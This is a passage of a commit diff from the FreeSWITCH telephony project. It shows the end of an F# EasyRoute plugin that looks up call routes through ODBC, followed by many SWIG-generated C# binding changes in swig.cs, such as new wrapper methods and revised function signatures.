+        let acctcode    = r.GetString(4)
+        let translated  = r.GetString(5)
+        let dialstring = formatDialstring number gw profile sep
+        { dialstring = dialstring; limit = limit; group = group; acctcode = acctcode; translated = translated; }
+
+    let regexOpts = Text.RegularExpressions.RegexOptions.Compiled ||| Text.RegularExpressions.RegexOptions.CultureInvariant
+    let lookup (number: string) sep =
+        try
+            let number = if numberRegexFilter = "(?!.)" then number else Text.RegularExpressions.Regex.Replace(number, numberRegexFilter, "", regexOpts)
+            use conn = new Odbc.OdbcConnection(connString)
+            use comm = new Odbc.OdbcCommand(query, conn)
+            comm.Parameters.AddWithValue("@number", number) |> ignore
+            conn.Open()
+            use reader = comm.ExecuteReader CommandBehavior.SingleRow
+            match reader.Read() with
+            | true  -> readResult reader number sep
+            | false -> Log.WriteLine(LogLevel.Error, "No records for {0}; setting default route.", number)
+                       getDefaultResult number sep
+        with ex -> Log.WriteLine(LogLevel.Error, "Exception getting route for {0}. Setting default route. Exception: {1}", number, ex.ToString())
+                   getDefaultResult number sep
+
+    // Returns tuple: number * separator option * field option
+    let parseArgs args = 
+        let args = String.split [' '] args
+        let num = List.hd args
+        let opt = Map.of_list (List.tl args |> List.map (fun x -> match x.Split([|'='|], 2) with 
+                                                                  | [|n;v|] -> n, Some v 
+                                                                  | arr     -> arr.[0], None))
+        (num, defaultArg (opt.TryFind "separator") (Some "@"), defaultArg (opt.TryFind "field") (None))
+open easyroute
+
+type EasyRoute() =
+    interface ILoadNotificationPlugin with
+        member x.Load() = 
+            if not configOk then Log.WriteLine(LogLevel.Alert, "EasyRoute configuration is missing values.")
+            if not odbcOk   then Log.WriteLine(LogLevel.Critical, "ODBC driver doesn't handle quoting properly; upgrade driver.")
+            configOk && odbcOk
+        
+    interface IApiPlugin with
+        member x.ExecuteBackground ctx = 
+            Log.WriteLine(LogLevel.Error, "Background execution not supported for EasyRoute.")
+        member x.Execute ctx = 
+            let num, sep, field = parseArgs ctx.Arguments
+            let res = lookup num sep
+            let sw = ctx.Stream.Write 
+            match field with
+            | None              -> sw "Number    \tLimit     \tGroup    \tAcctCode  \tDialstring\n"
+                                   sw (sprintf "%-10s\t%-10d\t%-10s\t%-10s\t%s\n" res.translated res.limit res.group res.acctcode res.dialstring)
+            | Some "dialstring" -> sw res.dialstring
+            | Some "translated" -> sw res.translated
+            | Some "limit"      -> sw (string res.limit)
+            | Some "group"      -> sw res.group
+            | Some "acctcode"   -> sw res.acctcode 
+            | _                 -> sw "Invalid input!\n"
+        
+    interface IAppPlugin with
+        member x.Run ctx = 
+            let num, sep, field = parseArgs ctx.Arguments
+            let res = lookup num sep
+            [ "easy_destnum", res.translated; "easy_dialstring", res.dialstring; "easy_group", res.group; "easy_limit", string res.limit; "easy_acctcode", res.acctcode]
+                |> List.iter ctx.Session.SetVariable

Modified: freeswitch/branches/seven/src/mod/languages/mod_managed/managed/swig.cs (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_managed/managed/swig.cs	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_managed/managed/swig.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -52,6 +52,11 @@
     return ret;
   }
 
+  public string getTime() {
+    string ret = freeswitchPINVOKE.Api_getTime(swigCPtr);
+    return ret;
+  }
+
 }
 
 }
@@ -244,7 +249,7 @@
     return ret;
   }
 
-  public void destroy() {
+  public virtual void destroy() {
     freeswitchPINVOKE.CoreSession_destroy(swigCPtr);
   }
 
@@ -550,7 +555,7 @@
 
   public Event pop(int block) {
     IntPtr cPtr = freeswitchPINVOKE.EventConsumer_pop(swigCPtr, block);
-    Event ret = (cPtr == IntPtr.Zero) ? null : new Event(cPtr, false);
+    Event ret = (cPtr == IntPtr.Zero) ? null : new Event(cPtr, true);
     return ret;
   }
 
@@ -869,6 +874,18 @@
     return ret;
   }
 
+  public static void switch_core_media_bug_pause(SWIGTYPE_p_switch_core_session session) {
+    freeswitchPINVOKE.switch_core_media_bug_pause(SWIGTYPE_p_switch_core_session.getCPtr(session));
+  }
+
+  public static void switch_core_media_bug_resume(SWIGTYPE_p_switch_core_session session) {
+    freeswitchPINVOKE.switch_core_media_bug_resume(SWIGTYPE_p_switch_core_session.getCPtr(session));
+  }
+
+  public static void switch_core_media_bug_inuse(SWIGTYPE_p_switch_media_bug bug, SWIGTYPE_p_switch_size_t readp, SWIGTYPE_p_switch_size_t writep) {
+    freeswitchPINVOKE.switch_core_media_bug_inuse(SWIGTYPE_p_switch_media_bug.getCPtr(bug), SWIGTYPE_p_switch_size_t.getCPtr(readp), SWIGTYPE_p_switch_size_t.getCPtr(writep));
+  }
+
   public static SWIGTYPE_p_void switch_core_media_bug_get_user_data(SWIGTYPE_p_switch_media_bug bug) {
     IntPtr cPtr = freeswitchPINVOKE.switch_core_media_bug_get_user_data(SWIGTYPE_p_switch_media_bug.getCPtr(bug));
     SWIGTYPE_p_void ret = (cPtr == IntPtr.Zero) ? null : new SWIGTYPE_p_void(cPtr, false);
@@ -911,6 +928,11 @@
     return ret;
   }
 
+  public static switch_status_t switch_core_media_bug_remove_callback(SWIGTYPE_p_switch_core_session session, SWIGTYPE_p_f_p_switch_media_bug_p_void_enum_switch_abc_type_t__switch_bool_t callback) {
+    switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_core_media_bug_remove_callback(SWIGTYPE_p_switch_core_session.getCPtr(session), SWIGTYPE_p_f_p_switch_media_bug_p_void_enum_switch_abc_type_t__switch_bool_t.getCPtr(callback));
+    return ret;
+  }
+
   public static switch_status_t switch_core_media_bug_close(SWIGTYPE_p_p_switch_media_bug bug) {
     switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_core_media_bug_close(SWIGTYPE_p_p_switch_media_bug.getCPtr(bug));
     return ret;
@@ -921,8 +943,8 @@
     return ret;
   }
 
-  public static switch_status_t switch_core_media_bug_read(SWIGTYPE_p_switch_media_bug bug, switch_frame frame) {
-    switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_core_media_bug_read(SWIGTYPE_p_switch_media_bug.getCPtr(bug), switch_frame.getCPtr(frame));
+  public static switch_status_t switch_core_media_bug_read(SWIGTYPE_p_switch_media_bug bug, switch_frame frame, switch_bool_t fill) {
+    switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_core_media_bug_read(SWIGTYPE_p_switch_media_bug.getCPtr(bug), switch_frame.getCPtr(frame), (int)fill);
     return ret;
   }
 
@@ -1026,6 +1048,16 @@
     return ret;
   }
 
+  public static void switch_core_memory_pool_set_data(SWIGTYPE_p_apr_pool_t pool, string key, SWIGTYPE_p_void data) {
+    freeswitchPINVOKE.switch_core_memory_pool_set_data(SWIGTYPE_p_apr_pool_t.getCPtr(pool), key, SWIGTYPE_p_void.getCPtr(data));
+  }
+
+  public static SWIGTYPE_p_void switch_core_memory_pool_get_data(SWIGTYPE_p_apr_pool_t pool, string key) {
+    IntPtr cPtr = freeswitchPINVOKE.switch_core_memory_pool_get_data(SWIGTYPE_p_apr_pool_t.getCPtr(pool), key);
+    SWIGTYPE_p_void ret = (cPtr == IntPtr.Zero) ? null : new SWIGTYPE_p_void(cPtr, false);
+    return ret;
+  }
+
   public static void switch_core_session_run(SWIGTYPE_p_switch_core_session session) {
     freeswitchPINVOKE.switch_core_session_run(SWIGTYPE_p_switch_core_session.getCPtr(session));
   }
@@ -1087,8 +1119,8 @@
     return ret;
   }
 
-  public static SWIGTYPE_p_switch_core_session switch_core_session_request_uuid(switch_endpoint_interface endpoint_interface, SWIGTYPE_p_p_apr_pool_t pool, string use_uuid) {
-    IntPtr cPtr = freeswitchPINVOKE.switch_core_session_request_uuid(switch_endpoint_interface.getCPtr(endpoint_interface), SWIGTYPE_p_p_apr_pool_t.getCPtr(pool), use_uuid);
+  public static SWIGTYPE_p_switch_core_session switch_core_session_request_uuid(switch_endpoint_interface endpoint_interface, switch_call_direction_t direction, SWIGTYPE_p_p_apr_pool_t pool, string use_uuid) {
+    IntPtr cPtr = freeswitchPINVOKE.switch_core_session_request_uuid(switch_endpoint_interface.getCPtr(endpoint_interface), (int)direction, SWIGTYPE_p_p_apr_pool_t.getCPtr(pool), use_uuid);
     SWIGTYPE_p_switch_core_session ret = (cPtr == IntPtr.Zero) ? null : new SWIGTYPE_p_switch_core_session(cPtr, false);
     return ret;
   }
@@ -1102,6 +1134,14 @@
     freeswitchPINVOKE.switch_core_session_perform_destroy(SWIGTYPE_p_p_switch_core_session.getCPtr(session), file, func, line);
   }
 
+  public static void switch_core_session_destroy_state(SWIGTYPE_p_switch_core_session session) {
+    freeswitchPINVOKE.switch_core_session_destroy_state(SWIGTYPE_p_switch_core_session.getCPtr(session));
+  }
+
+  public static void switch_core_session_reporting_state(SWIGTYPE_p_switch_core_session session) {
+    freeswitchPINVOKE.switch_core_session_reporting_state(SWIGTYPE_p_switch_core_session.getCPtr(session));
+  }
+
   public static uint switch_core_session_count() {
     uint ret = freeswitchPINVOKE.switch_core_session_count();
     return ret;
@@ -1117,8 +1157,8 @@
     return ret;
   }
 
-  public static SWIGTYPE_p_switch_core_session switch_core_session_request_by_name(string endpoint_name, SWIGTYPE_p_p_apr_pool_t pool) {
-    IntPtr cPtr = freeswitchPINVOKE.switch_core_session_request_by_name(endpoint_name, SWIGTYPE_p_p_apr_pool_t.getCPtr(pool));
+  public static SWIGTYPE_p_switch_core_session switch_core_session_request_by_name(string endpoint_name, switch_call_direction_t direction, SWIGTYPE_p_p_apr_pool_t pool) {
+    IntPtr cPtr = freeswitchPINVOKE.switch_core_session_request_by_name(endpoint_name, (int)direction, SWIGTYPE_p_p_apr_pool_t.getCPtr(pool));
     SWIGTYPE_p_switch_core_session ret = (cPtr == IntPtr.Zero) ? null : new SWIGTYPE_p_switch_core_session(cPtr, false);
     return ret;
   }
@@ -1154,6 +1194,12 @@
     return ret;
   }
 
+  public static SWIGTYPE_p_switch_core_session switch_core_session_force_locate(string uuid_str) {
+    IntPtr cPtr = freeswitchPINVOKE.switch_core_session_force_locate(uuid_str);
+    SWIGTYPE_p_switch_core_session ret = (cPtr == IntPtr.Zero) ? null : new SWIGTYPE_p_switch_core_session(cPtr, false);
+    return ret;
+  }
+
   public static string switch_core_get_variable(string varname) {
     string ret = freeswitchPINVOKE.switch_core_get_variable(varname);
     return ret;
@@ -1179,6 +1225,11 @@
     freeswitchPINVOKE.switch_core_session_hupall_endpoint(switch_endpoint_interface.getCPtr(endpoint_interface), (int)cause);
   }
 
+  public static switch_status_t switch_core_session_get_partner(SWIGTYPE_p_switch_core_session session, SWIGTYPE_p_p_switch_core_session partner) {
+    switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_core_session_get_partner(SWIGTYPE_p_switch_core_session.getCPtr(session), SWIGTYPE_p_p_switch_core_session.getCPtr(partner));
+    return ret;
+  }
+
   public static switch_status_t switch_core_session_message_send(string uuid_str, switch_core_session_message message) {
     switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_core_session_message_send(uuid_str, switch_core_session_message.getCPtr(message));
     return ret;
@@ -1304,8 +1355,8 @@
     return ret;
   }
 
-  public static switch_status_t switch_core_session_dequeue_event(SWIGTYPE_p_switch_core_session session, SWIGTYPE_p_p_switch_event arg1) {
-    switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_core_session_dequeue_event(SWIGTYPE_p_switch_core_session.getCPtr(session), SWIGTYPE_p_p_switch_event.getCPtr(arg1));
+  public static switch_status_t switch_core_session_dequeue_event(SWIGTYPE_p_switch_core_session session, SWIGTYPE_p_p_switch_event arg1, switch_bool_t force) {
+    switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_core_session_dequeue_event(SWIGTYPE_p_switch_core_session.getCPtr(session), SWIGTYPE_p_p_switch_event.getCPtr(arg1), (int)force);
     return ret;
   }
 
@@ -1662,8 +1713,8 @@
     freeswitchPINVOKE.switch_core_speech_float_param_tts(switch_speech_handle.getCPtr(sh), param, val);
   }
 
-  public static switch_status_t switch_core_speech_read_tts(switch_speech_handle sh, SWIGTYPE_p_void data, SWIGTYPE_p_switch_size_t datalen, SWIGTYPE_p_unsigned_long rate, SWIGTYPE_p_unsigned_long flags) {
-    switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_core_speech_read_tts(switch_speech_handle.getCPtr(sh), SWIGTYPE_p_void.getCPtr(data), SWIGTYPE_p_switch_size_t.getCPtr(datalen), SWIGTYPE_p_unsigned_long.getCPtr(rate), SWIGTYPE_p_unsigned_long.getCPtr(flags));
+  public static switch_status_t switch_core_speech_read_tts(switch_speech_handle sh, SWIGTYPE_p_void data, SWIGTYPE_p_switch_size_t datalen, SWIGTYPE_p_unsigned_long flags) {
+    switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_core_speech_read_tts(switch_speech_handle.getCPtr(sh), SWIGTYPE_p_void.getCPtr(data), SWIGTYPE_p_switch_size_t.getCPtr(datalen), SWIGTYPE_p_unsigned_long.getCPtr(flags));
     return ret;
   }
 
@@ -1697,13 +1748,13 @@
     return ret;
   }
 
-  public static switch_status_t switch_core_asr_load_grammar(switch_asr_handle ah, string grammar, string path) {
-    switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_core_asr_load_grammar(switch_asr_handle.getCPtr(ah), grammar, path);
+  public static switch_status_t switch_core_asr_load_grammar(switch_asr_handle ah, string grammar, string name) {
+    switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_core_asr_load_grammar(switch_asr_handle.getCPtr(ah), grammar, name);
     return ret;
   }
 
-  public static switch_status_t switch_core_asr_unload_grammar(switch_asr_handle ah, string grammar) {
-    switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_core_asr_unload_grammar(switch_asr_handle.getCPtr(ah), grammar);
+  public static switch_status_t switch_core_asr_unload_grammar(switch_asr_handle ah, string name) {
+    switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_core_asr_unload_grammar(switch_asr_handle.getCPtr(ah), name);
     return ret;
   }
 
@@ -1717,6 +1768,23 @@
     return ret;
   }
 
+  public static switch_status_t switch_core_asr_start_input_timers(switch_asr_handle ah) {
+    switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_core_asr_start_input_timers(switch_asr_handle.getCPtr(ah));
+    return ret;
+  }
+
+  public static void switch_core_asr_text_param(switch_asr_handle ah, string param, string val) {
+    freeswitchPINVOKE.switch_core_asr_text_param(switch_asr_handle.getCPtr(ah), param, val);
+  }
+
+  public static void switch_core_asr_numeric_param(switch_asr_handle ah, string param, int val) {
+    freeswitchPINVOKE.switch_core_asr_numeric_param(switch_asr_handle.getCPtr(ah), param, val);
+  }
+
+  public static void switch_core_asr_float_param(switch_asr_handle ah, string param, double val) {
+    freeswitchPINVOKE.switch_core_asr_float_param(switch_asr_handle.getCPtr(ah), param, val);
+  }
+
   public static switch_status_t switch_core_directory_open(switch_directory_handle dh, string module_name, string source, string dsn, string passwd, SWIGTYPE_p_apr_pool_t pool) {
     switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_core_directory_open(switch_directory_handle.getCPtr(dh), module_name, source, dsn, passwd, SWIGTYPE_p_apr_pool_t.getCPtr(pool));
     return ret;
@@ -1804,10 +1872,6 @@
     return ret;
   }
 
-  public static void switch_core_launch_thread(SWIGTYPE_p_f_p_switch_thread_t_p_void__p_void func, SWIGTYPE_p_void obj, SWIGTYPE_p_apr_pool_t pool) {
-    freeswitchPINVOKE.switch_core_launch_thread(SWIGTYPE_p_f_p_switch_thread_t_p_void__p_void.getCPtr(func), SWIGTYPE_p_void.getCPtr(obj), SWIGTYPE_p_apr_pool_t.getCPtr(pool));
-  }
-
   public static void switch_core_set_globals() {
     freeswitchPINVOKE.switch_core_set_globals();
   }
@@ -1850,8 +1914,8 @@
     return ret;
   }
 
-  public static SWIGTYPE_p_switch_time_t switch_timestamp_now() {
-    SWIGTYPE_p_switch_time_t ret = new SWIGTYPE_p_switch_time_t(freeswitchPINVOKE.switch_timestamp_now(), true);
+  public static SWIGTYPE_p_switch_time_t switch_micro_time_now() {
+    SWIGTYPE_p_switch_time_t ret = new SWIGTYPE_p_switch_time_t(freeswitchPINVOKE.switch_micro_time_now(), true);
     return ret;
   }
 
@@ -1879,8 +1943,8 @@
     freeswitchPINVOKE.switch_time_sync();
   }
 
-  public static SWIGTYPE_p_time_t switch_timestamp(SWIGTYPE_p_time_t t) {
-    SWIGTYPE_p_time_t ret = new SWIGTYPE_p_time_t(freeswitchPINVOKE.switch_timestamp(SWIGTYPE_p_time_t.getCPtr(t)), true);
+  public static SWIGTYPE_p_time_t switch_epoch_time_now(SWIGTYPE_p_time_t t) {
+    SWIGTYPE_p_time_t ret = new SWIGTYPE_p_time_t(freeswitchPINVOKE.switch_epoch_time_now(SWIGTYPE_p_time_t.getCPtr(t)), true);
     return ret;
   }
 
@@ -1958,6 +2022,11 @@
     return ret;
   }
 
+  public static switch_status_t switch_stream_write_file_contents(switch_stream_handle stream, string path) {
+    switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_stream_write_file_contents(switch_stream_handle.getCPtr(stream), path);
+    return ret;
+  }
+
   public static int switch_toupper(int c) {
     int ret = freeswitchPINVOKE.switch_toupper(c);
     return ret;
@@ -2028,6 +2097,11 @@
     return ret;
   }
 
+  public static int switch_string_has_escaped_data(string arg0) {
+    int ret = freeswitchPINVOKE.switch_string_has_escaped_data(arg0);
+    return ret;
+  }
+
   public static switch_status_t switch_b64_encode(SWIGTYPE_p_unsigned_char arg0, SWIGTYPE_p_switch_size_t ilen, SWIGTYPE_p_unsigned_char arg2, SWIGTYPE_p_switch_size_t olen) {
     switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_b64_encode(SWIGTYPE_p_unsigned_char.getCPtr(arg0), SWIGTYPE_p_switch_size_t.getCPtr(ilen), SWIGTYPE_p_unsigned_char.getCPtr(arg2), SWIGTYPE_p_switch_size_t.getCPtr(olen));
     if (freeswitchPINVOKE.SWIGPendingException.Pending) throw freeswitchPINVOKE.SWIGPendingException.Retrieve();
@@ -2057,11 +2131,27 @@
     return ret;
   }
 
-  public static switch_status_t switch_find_local_ip(string buf, int len, int family) {
-    switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_find_local_ip(buf, len, family);
+  public static switch_status_t switch_frame_alloc(SWIGTYPE_p_p_switch_frame frame, SWIGTYPE_p_switch_size_t size) {
+    switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_frame_alloc(SWIGTYPE_p_p_switch_frame.getCPtr(frame), SWIGTYPE_p_switch_size_t.getCPtr(size));
+    if (freeswitchPINVOKE.SWIGPendingException.Pending) throw freeswitchPINVOKE.SWIGPendingException.Retrieve();
     return ret;
   }
 
+  public static switch_status_t switch_frame_dup(switch_frame orig, SWIGTYPE_p_p_switch_frame clone) {
+    switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_frame_dup(switch_frame.getCPtr(orig), SWIGTYPE_p_p_switch_frame.getCPtr(clone));
+    return ret;
+  }
+
+  public static switch_status_t switch_frame_free(SWIGTYPE_p_p_switch_frame frame) {
+    switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_frame_free(SWIGTYPE_p_p_switch_frame.getCPtr(frame));
+    return ret;
+  }
+
+  public static switch_status_t switch_find_local_ip(string buf, int len, SWIGTYPE_p_int mask, int family) {
+    switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_find_local_ip(buf, len, SWIGTYPE_p_int.getCPtr(mask), family);
+    return ret;
+  }
+
   public static string get_addr(string buf, SWIGTYPE_p_switch_size_t len, SWIGTYPE_p_sockaddr sa, SWIGTYPE_p_socklen_t salen) {
     string ret = freeswitchPINVOKE.get_addr(buf, SWIGTYPE_p_switch_size_t.getCPtr(len), SWIGTYPE_p_sockaddr.getCPtr(sa), SWIGTYPE_p_socklen_t.getCPtr(salen));
     if (freeswitchPINVOKE.SWIGPendingException.Pending) throw freeswitchPINVOKE.SWIGPendingException.Retrieve();
@@ -2099,6 +2189,16 @@
     return ret;
   }
 
+  public static switch_bool_t switch_string_var_check_const(string s) {
+    switch_bool_t ret = (switch_bool_t)freeswitchPINVOKE.switch_string_var_check_const(s);
+    return ret;
+  }
+
+  public static string switch_var_clean_string(string s) {
+    string ret = freeswitchPINVOKE.switch_var_clean_string(s);
+    return ret;
+  }
+
   public static string switch_clean_string(string s) {
     string ret = freeswitchPINVOKE.switch_clean_string(s);
     return ret;
@@ -2219,8 +2319,8 @@
     return ret;
   }
 
-  public static switch_status_t switch_network_list_create(SWIGTYPE_p_p_switch_network_list list, switch_bool_t default_type, SWIGTYPE_p_apr_pool_t pool) {
-    switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_network_list_create(SWIGTYPE_p_p_switch_network_list.getCPtr(list), (int)default_type, SWIGTYPE_p_apr_pool_t.getCPtr(pool));
+  public static switch_status_t switch_network_list_create(SWIGTYPE_p_p_switch_network_list list, string name, switch_bool_t default_type, SWIGTYPE_p_apr_pool_t pool) {
+    switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_network_list_create(SWIGTYPE_p_p_switch_network_list.getCPtr(list), name, (int)default_type, SWIGTYPE_p_apr_pool_t.getCPtr(pool));
     return ret;
   }
 
@@ -2239,6 +2339,11 @@
     return ret;
   }
 
+  public static int switch_number_cmp(string exp, int val) {
+    int ret = freeswitchPINVOKE.switch_number_cmp(exp, val);
+    return ret;
+  }
+
   public static switch_caller_extension switch_caller_extension_new(SWIGTYPE_p_switch_core_session session, string extension_name, string extension_number) {
     IntPtr cPtr = freeswitchPINVOKE.switch_caller_extension_new(SWIGTYPE_p_switch_core_session.getCPtr(session), extension_name, extension_number);
     switch_caller_extension ret = (cPtr == IntPtr.Zero) ? null : new switch_caller_extension(cPtr, false);
@@ -2291,8 +2396,8 @@
     return ret;
   }
 
-  public static byte switch_channel_ready(SWIGTYPE_p_switch_channel channel) {
-    byte ret = freeswitchPINVOKE.switch_channel_ready(SWIGTYPE_p_switch_channel.getCPtr(channel));
+  public static int switch_channel_test_ready(SWIGTYPE_p_switch_channel channel, switch_bool_t media) {
+    int ret = freeswitchPINVOKE.switch_channel_test_ready(SWIGTYPE_p_switch_channel.getCPtr(channel), (int)media);
     return ret;
   }
 
@@ -2300,6 +2405,10 @@
     freeswitchPINVOKE.switch_channel_wait_for_state(SWIGTYPE_p_switch_channel.getCPtr(channel), SWIGTYPE_p_switch_channel.getCPtr(other_channel), (int)want_state);
   }
 
+  public static void switch_channel_wait_for_state_timeout(SWIGTYPE_p_switch_channel other_channel, switch_channel_state_t want_state, uint timeout) {
+    freeswitchPINVOKE.switch_channel_wait_for_state_timeout(SWIGTYPE_p_switch_channel.getCPtr(other_channel), (int)want_state, timeout);
+  }
+
   public static switch_status_t switch_channel_wait_for_flag(SWIGTYPE_p_switch_channel channel, switch_channel_flag_t want_flag, switch_bool_t pres, uint to, SWIGTYPE_p_switch_channel super_channel) {
     switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_channel_wait_for_flag(SWIGTYPE_p_switch_channel.getCPtr(channel), (int)want_flag, (int)pres, to, SWIGTYPE_p_switch_channel.getCPtr(super_channel));
     return ret;
@@ -2346,8 +2455,8 @@
     return ret;
   }
 
-  public static switch_status_t switch_channel_alloc(SWIGTYPE_p_p_switch_channel channel, SWIGTYPE_p_apr_pool_t pool) {
-    switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_channel_alloc(SWIGTYPE_p_p_switch_channel.getCPtr(channel), SWIGTYPE_p_apr_pool_t.getCPtr(pool));
+  public static switch_status_t switch_channel_alloc(SWIGTYPE_p_p_switch_channel channel, switch_call_direction_t direction, SWIGTYPE_p_apr_pool_t pool) {
+    switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_channel_alloc(SWIGTYPE_p_p_switch_channel.getCPtr(channel), (int)direction, SWIGTYPE_p_apr_pool_t.getCPtr(pool));
     return ret;
   }
 
@@ -2378,6 +2487,10 @@
     freeswitchPINVOKE.switch_channel_set_originator_caller_profile(SWIGTYPE_p_switch_channel.getCPtr(channel), switch_caller_profile.getCPtr(caller_profile));
   }
 
+  public static void switch_channel_set_hunt_caller_profile(SWIGTYPE_p_switch_channel channel, switch_caller_profile caller_profile) {
+    freeswitchPINVOKE.switch_channel_set_hunt_caller_profile(SWIGTYPE_p_switch_channel.getCPtr(channel), switch_caller_profile.getCPtr(caller_profile));
+  }
+
   public static switch_caller_profile switch_channel_get_originator_caller_profile(SWIGTYPE_p_switch_channel channel) {
     IntPtr cPtr = freeswitchPINVOKE.switch_channel_get_originator_caller_profile(SWIGTYPE_p_switch_channel.getCPtr(channel));
     switch_caller_profile ret = (cPtr == IntPtr.Zero) ? null : new switch_caller_profile(cPtr, false);
@@ -2468,6 +2581,11 @@
     return ret;
   }
 
+  public static uint switch_channel_test_flag_partner(SWIGTYPE_p_switch_channel channel, switch_channel_flag_t flag) {
+    uint ret = freeswitchPINVOKE.switch_channel_test_flag_partner(SWIGTYPE_p_switch_channel.getCPtr(channel), (int)flag);
+    return ret;
+  }
+
   public static void switch_channel_set_state_flag(SWIGTYPE_p_switch_channel channel, switch_channel_flag_t flag) {
     freeswitchPINVOKE.switch_channel_set_state_flag(SWIGTYPE_p_switch_channel.getCPtr(channel), (int)flag);
   }
@@ -2631,6 +2749,28 @@
     return ret;
   }
 
+  public static void switch_channel_set_app_flag(SWIGTYPE_p_switch_channel channel, uint flags) {
+    freeswitchPINVOKE.switch_channel_set_app_flag(SWIGTYPE_p_switch_channel.getCPtr(channel), flags);
+  }
+
+  public static void switch_channel_clear_app_flag(SWIGTYPE_p_switch_channel channel, uint flags) {
+    freeswitchPINVOKE.switch_channel_clear_app_flag(SWIGTYPE_p_switch_channel.getCPtr(channel), flags);
+  }
+
+  public static int switch_channel_test_app_flag(SWIGTYPE_p_switch_channel channel, uint flags) {
+    int ret = freeswitchPINVOKE.switch_channel_test_app_flag(SWIGTYPE_p_switch_channel.getCPtr(channel), flags);
+    return ret;
+  }
+
+  public static void switch_channel_set_hangup_time(SWIGTYPE_p_switch_channel channel) {
+    freeswitchPINVOKE.switch_channel_set_hangup_time(SWIGTYPE_p_switch_channel.getCPtr(channel));
+  }
+
+  public static switch_call_direction_t switch_channel_direction(SWIGTYPE_p_switch_channel channel) {
+    switch_call_direction_t ret = (switch_call_direction_t)freeswitchPINVOKE.switch_channel_direction(SWIGTYPE_p_switch_channel.getCPtr(channel));
+    return ret;
+  }
+
   public static switch_status_t switch_buffer_create(SWIGTYPE_p_apr_pool_t pool, SWIGTYPE_p_p_switch_buffer buffer, SWIGTYPE_p_switch_size_t max_len) {
     switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_buffer_create(SWIGTYPE_p_apr_pool_t.getCPtr(pool), SWIGTYPE_p_p_switch_buffer.getCPtr(buffer), SWIGTYPE_p_switch_size_t.getCPtr(max_len));
     if (freeswitchPINVOKE.SWIGPendingException.Pending) throw freeswitchPINVOKE.SWIGPendingException.Retrieve();
@@ -2727,8 +2867,8 @@
     return ret;
   }
 
-  public static switch_status_t switch_event_create_subclass(SWIGTYPE_p_p_switch_event arg0, switch_event_types_t event_id, string subclass_name) {
-    switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_event_create_subclass(SWIGTYPE_p_p_switch_event.getCPtr(arg0), (int)event_id, subclass_name);
+  public static switch_status_t switch_event_create_subclass_detailed(string file, string func, int line, SWIGTYPE_p_p_switch_event arg3, switch_event_types_t event_id, string subclass_name) {
+    switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_event_create_subclass_detailed(file, func, line, SWIGTYPE_p_p_switch_event.getCPtr(arg3), (int)event_id, subclass_name);
     return ret;
   }
 
@@ -2747,6 +2887,11 @@
     return ret;
   }
 
+  public static switch_status_t switch_event_set_subclass_name(switch_event arg0, string subclass_name) {
+    switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_event_set_subclass_name(switch_event.getCPtr(arg0), subclass_name);
+    return ret;
+  }
+
   public static switch_status_t switch_event_add_header_string(switch_event arg0, switch_stack_t stack, string header_name, string data) {
     switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_event_add_header_string(switch_event.getCPtr(arg0), (int)stack, header_name, data);
     return ret;
@@ -2771,6 +2916,10 @@
     return ret;
   }
 
+  public static void switch_event_prep_for_delivery_detailed(string file, string func, int line, switch_event arg3) {
+    freeswitchPINVOKE.switch_event_prep_for_delivery_detailed(file, func, line, switch_event.getCPtr(arg3));
+  }
+
   public static switch_status_t switch_event_bind(string id, switch_event_types_t arg1, string subclass_name, SWIGTYPE_p_f_p_switch_event__void callback, SWIGTYPE_p_void user_data) {
     switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_event_bind(id, (int)arg1, subclass_name, SWIGTYPE_p_f_p_switch_event__void.getCPtr(callback), SWIGTYPE_p_void.getCPtr(user_data));
     return ret;
@@ -2831,6 +2980,11 @@
     return ret;
   }
 
+  public static switch_status_t switch_event_create_plain(SWIGTYPE_p_p_switch_event arg0, switch_event_types_t event_id) {
+    switch_status_t ret = (switch_status_t)freeswitchPINVOKE.switch_event_create_plain(SWIGTYPE_p_p_switch_event.getCPtr(arg0), (int)event_id);
+    return ret;
+  }
+
   public static void switch_event_deliver(SWIGTYPE_p_p_switch_event arg0) {
     freeswitchPINVOKE.switch_event_deliver(SWIGTYPE_p_p_switch_event.getCPtr(arg0));
   }
@@ -2840,9 +2994,8 @@
     return ret;
   }
 
-  public static switch_status_t switch_resample_create(SWIGTYPE_p_p_switch_audio_resampler_t new_resampler, int from_rate, SWIGTYPE_p_switch_size_t from_size, int to_rate, uint to_size, SWIGTYPE_p_apr_pool_t pool) {
